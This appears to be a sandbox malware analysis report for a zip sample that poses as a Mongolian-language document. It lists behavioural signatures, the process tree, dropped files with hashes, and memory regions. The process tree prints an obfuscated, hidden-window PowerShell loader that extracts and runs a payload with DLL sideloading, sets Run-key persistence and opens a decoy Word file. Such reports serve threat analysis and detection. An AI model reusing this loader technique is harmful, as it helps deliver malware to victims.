Resubmissions

09/08/2026, 16:32

260809-t11pps1hne7

09/08/2026, 15:21

260809-srlzhs1akc7

09/08/2026, 14:06

260809-repzzasvb17

09/08/2026, 14:04

260809-rdcm9asths7

02/06/2026, 12:38

260602-pt73zsew5q

01/06/2026, 01:40

260601-b31hlsdw2p8

24/04/2026, 07:50

260424-jpbw4acx4q3

24/04/2026, 07:48

260424-jnl1nscx2m7

24/04/2026, 07:47

260424-jmtzwsbx6v7

02/04/2026, 10:54

260402-mzmm5agy3r7

Analysis

  • user interaction
    yes
  • max time kernel
    1799s
  • max time network
    1799s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 16:32

General

  • Target
    ЕС-аас Хөндөж болзошгүй асуудал.zip
  • Size 655KB
  • Sample260809-t11pps1hne
  • SHA256 a059d70e4f9095f167bd34ea4dfdab33be8f599907daefbd05f2ba3f2d6302be
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 13 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\ЕС-аас Хөндөж болзошгүй асуудал.zip"
    1⤵
      PID:5700
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:2180
      • C:\Program Files\7-Zip\7zG.exe
        "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\" -an -ai#7zMap7939:122:7zEvent23734
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:208
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w H ";$dcxtboewo = (ls -Pa $Home -Re -in 'ЕС-аас Х?нд?ж болзошг?и? асуудал.zip')[0].fullname;$nugcjmw = [SyStem.IO.File]::OpenReAd($dcxtboewo); $jpjlvlwrj = NeW-ObjEct byte[] $nugcjmw.Length; $nugcjmw.Read($jpjlvlwrj, 0, $jpjlvlwrj.Length); $nugcjmw.Close();$lwjap='wRi'+'tEAlL'+'bYtEs';$uysqzmr=1164; ;;[SySTem.IO.FIle]::$lwjap($Env:LocalAppdata+'\\rlylgjvgdr.so', $jpjlvlwrj[$uysqzmr..($uysqzmr+669696-1)]); ; TaR -xvf $Env:LocalAppdata\rlylgjvgdr.so -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe;"
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:732
        • C:\Windows\system32\tar.exe
          "C:\Windows\system32\tar.exe" -xvf C:\Users\Admin\AppData\Local\rlylgjvgdr.so -C C:\Users\Admin\AppData\Local
          2⤵
            PID:5252
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:456
            • C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe
              "C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe"
              3⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Loads dropped DLL
              • Adds Run key to start application
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:2752
              • C:\Windows\SysWOW64\taskkill.exe
                "C:\Windows\System32\taskkill.exe" /f /im iediagcmd.exe
                4⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2152
              • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
                "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ЕС-аас Хөндөж болзошгүй асуудал.docx" /o ""
                4⤵
                • Checks processor information in registry
                • Enumerates system info in registry
                • Suspicious behavior: AddClipboardFormatListener
                • Suspicious use of SetWindowsHookEx
                PID:4180
        • C:\Users\Public\Canon\CNMNSST.exe
          "C:\Users\Public\Canon\CNMNSST.exe" 747 148
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:5704
        • C:\Windows\system32\taskmgr.exe
          "C:\Windows\system32\taskmgr.exe" /4
          1⤵
          • Checks SCSI registry key(s)
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:5296

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 2KB
              • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 ead0a58a1b853fd1354b12515680e884e605b6cb54c1c715dda260cd94483e8b
              • MD5 SHA1 SHA512 TLSH

              CNCLID.dll

              • Path C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNCLID.dll
              • Size 87KB
              • SHA256 5884563b28cd4b470066780003b1c8e2a6025d453ae3e80dcea6891a3944db60
              • MD5 SHA1 SHA512 SSDEEP TLSH

              CNMNSST.exe

              • Path C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe
              • Size 272KB
              • SHA256 53086e3b557a1d21cf7f4ffc73d92c39b08872334a8cdb09dda0a06bd060cfe9
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Canon.dat

              • Path C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\Canon.dat
              • Size 290KB
              • SHA256 58101378fc8b3b7f989f7a4336a5c5de49effdd38f854d96dcee7ebedec09b57
              • MD5 SHA1 SHA512 SSDEEP TLSH

              iso690.xsl

              • Path C:\Users\Admin\AppData\Local\Temp\TCDBA71.tmp\iso690.xsl
              • Size 263KB
              • SHA256 3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
              • MD5 SHA1 SHA512 SSDEEP TLSH

              __PSScriptPolicyTest_zqd2li21.f3q.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zqd2li21.f3q.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              ЕС-аас Хөндөж болзошгүй асуудал.docx

              • Path C:\Users\Admin\AppData\Local\Temp\ЕС-аас Хөндөж болзошгүй асуудал.docx
              • Size 20KB
              • SHA256 b6f272a5cc70010037b184d2dcb5ebcee8414eb93f63698b31f3648e9d47ca68
              • MD5 SHA1 SHA512 SSDEEP TLSH

              rlylgjvgdr.so

              • Path C:\Users\Admin\AppData\Local\rlylgjvgdr.so
              • Size 654KB
              • SHA256 4e90183d8d7bbd3ae470f212183f08c8ea9552376bc1e6c212fdae0029a95330
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ExcludeDictionaryEN0409.lex

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex
              • Size 2B
              • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
              • MD5 SHA1 SHA512

              fb3b0dbfee58fac8.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
              • Size 3KB
              • SHA256 c54d5bb0dae6c4611ceb02a211effd62ab0523cc2ed84f9466477e3e9aeb90ef
              • MD5 SHA1 SHA512 TLSH

              ЕС-аас Хөндөж болзошгүй асуудал.lnk

              • Path C:\Users\Admin\Desktop\ЕС-аас Хөндөж болзошгүй асуудал.lnk
              • Size 2KB
              • SHA256 ddcf3af805f277e33c0a50c757789b4bc835b97e4a065e54d97e6dd4a7b280c1
              • MD5 SHA1 SHA512 TLSH

              memory/732-12-0x0000022366310000-0x0000022366332000-memory.dmp

              memory/2752-32-0x0000000000BD0000-0x0000000000C19000-memory.dmp

              memory/2752-37-0x0000000002490000-0x00000000060DE000-memory.dmp

              memory/2752-40-0x0000000002490000-0x00000000060DE000-memory.dmp

              memory/4180-53-0x00007FFF9E590000-0x00007FFF9E5A0000-memory.dmp

              memory/4180-56-0x00007FFF9C3D0000-0x00007FFF9C3E0000-memory.dmp

              memory/4180-57-0x00007FFF9C3D0000-0x00007FFF9C3E0000-memory.dmp

              memory/4180-51-0x00007FFF9E590000-0x00007FFF9E5A0000-memory.dmp

              memory/4180-55-0x00007FFF9E590000-0x00007FFF9E5A0000-memory.dmp

              memory/4180-54-0x00007FFF9E590000-0x00007FFF9E5A0000-memory.dmp

              memory/4180-52-0x00007FFF9E590000-0x00007FFF9E5A0000-memory.dmp

              memory/5296-205-0x00000248CA2D0000-0x00000248CA2D1000-memory.dmp

              memory/5296-207-0x00000248CA2D0000-0x00000248CA2D1000-memory.dmp

              memory/5296-206-0x00000248CA2D0000-0x00000248CA2D1000-memory.dmp

              memory/5296-217-0x00000248CA2D0000-0x00000248CA2D1000-memory.dmp

              memory/5296-216-0x00000248CA2D0000-0x00000248CA2D1000-memory.dmp

              memory/5296-215-0x00000248CA2D0000-0x00000248CA2D1000-memory.dmp

              memory/5296-214-0x00000248CA2D0000-0x00000248CA2D1000-memory.dmp

              memory/5296-213-0x00000248CA2D0000-0x00000248CA2D1000-memory.dmp

              memory/5296-212-0x00000248CA2D0000-0x00000248CA2D1000-memory.dmp

              memory/5296-211-0x00000248CA2D0000-0x00000248CA2D1000-memory.dmp

              memory/5704-79-0x0000000002350000-0x0000000005F9E000-memory.dmp

              memory/5704-75-0x0000000002350000-0x0000000005F9E000-memory.dmp